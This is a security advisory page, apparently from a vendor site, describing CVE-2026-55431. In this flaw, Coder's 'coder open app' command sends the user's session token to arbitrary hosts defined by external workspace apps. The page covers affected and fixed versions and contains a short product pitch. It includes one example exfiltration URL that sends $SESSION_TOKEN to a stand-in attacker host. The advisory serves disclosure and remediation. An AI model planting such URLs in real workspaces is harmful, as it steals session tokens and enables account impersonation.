CVE-2026-55431

Coder's session token leaked to arbitrary hosts via coder open app for external workspace apps

Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like https://attacker.example/?t=$SESSION_TOKEN. Running coder open app then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run coder open app against a workspace that contains a malicious external app.

Untrusted input controls a URL used for redirection, which can forward users to attacker-controlled sites. Typical impact: phishing and credential harvesting via a trusted domain.

CVE-2026-55431 has a CVSS score of 7.7 (High). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.34.2, 2.33.8, 2.32.7, 2.29.17); upgrading removes the vulnerable code path.

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The fix applies a URL-scheme allowlist in the CLI and limits $SESSION_TOKEN substitution to trusted destinations like the web frontend.

The fix was backported to all supported release lines:

1. What is CVE-2026-55431? CVE-2026-55431 is a high-severity open redirect vulnerability in github.com/coder/coder/v2 (go), affecting versions >= 2.34.0, < 2.34.2. It is fixed in 2.34.2, 2.33.8, 2.32.7, 2.29.17. Untrusted input controls a URL used for redirection, which can forward users to attacker-controlled sites.
2. How severe is CVE-2026-55431? CVE-2026-55431 has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/coder/coder/v2 are affected by CVE-2026-55431? github.com/coder/coder/v2 (go) versions >= 2.34.0, < 2.34.2 is affected.
4. Is there a fix for CVE-2026-55431? Yes. CVE-2026-55431 is fixed in 2.34.2, 2.33.8, 2.32.7, 2.29.17. Upgrade to this version or later.
5. Is CVE-2026-55431 exploitable, and should I be worried? Whether CVE-2026-55431 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-55431 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-55431?
   • Upgrade github.com/coder/coder/v2 to 2.34.2 or later
   • Upgrade github.com/coder/coder/v2 to 2.33.8 or later
   • Upgrade github.com/coder/coder/v2 to 2.32.7 or later
   • Upgrade github.com/coder/coder/v2 to 2.29.17 or later

Other vulnerabilities in github.com/coder/coder/v2